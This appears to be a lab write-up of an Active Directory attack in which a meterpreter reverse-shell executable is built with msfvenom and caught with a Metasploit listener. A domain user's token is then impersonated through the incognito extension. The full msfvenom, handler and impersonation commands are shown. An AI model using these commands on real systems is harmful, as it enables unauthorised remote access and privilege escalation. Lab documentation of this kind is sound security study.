Network Diagram

Diagrama sin título.drawio.png

Laboratory Setup

The lab consists of an Active Directory environment configured with the following parameters.

Users

The following user accounts have been added to the domain structure:
6d72a660ff3a233a7c153ba8c619e58a.png

Explotation phase

Since Pass-the-Hash is a lateral movement technique, we require an established shell with administrative/system privileges on one of the network endpoints.
I will establish an interactive meterpreter session. To achieve this, I generate a malicious executable using msfvenom which will subsequently be executed by the user manuel.

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=172.25.100.35 LPORT=4444 -f exe -o virus.exe

8eccc8e618cdb21365a4dd9beea2ab16.png
045f509721d3ec9cda5b68d27aee325d.png
We initialize the Metasploit multi-handler payload listener:

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter_reverse_tcp
set LHOST 172.25.100.35
run

1c00a3d309d13553bc812044e8406313.png

NOTE
Since we already hold valid credentials, executing a binary payload is not strictly necessary. We could pivot laterally using RDP or tools within the Impacket suite. However, because meterpreter includes the Mimikatz suite via the kiwi extension natively, I opted for this approach for convenience.

Note that this terminal session runs with Windows SYSTEM privileges, accurately replicating a scenario where an initial endpoint has been completely compromised, and the threat actor aims to pivot across the infrastructure.

Pass-the-Token

This is an administrative token impersonation attack where an operator steals a logged-in domain user’s access token from an initially compromised endpoint to scale access levels across resources.

We load the native incognito extension in Metasploit:

load incognito

We list available tokens cached on the system to find our target account profile:
c9078d506b5549fa4a87fc8ff9b8cfd6.png
We execute token impersonation to switch our execution identity context without providing passwords:

impersonate_token AROCHE\\manuel

55d8241ccc9f7d11915917fe734c3d61.png
We can now spawn a shell running directly under the security context of manuel.
bdebba418bcd99bdd50d32ef7dc9940a.png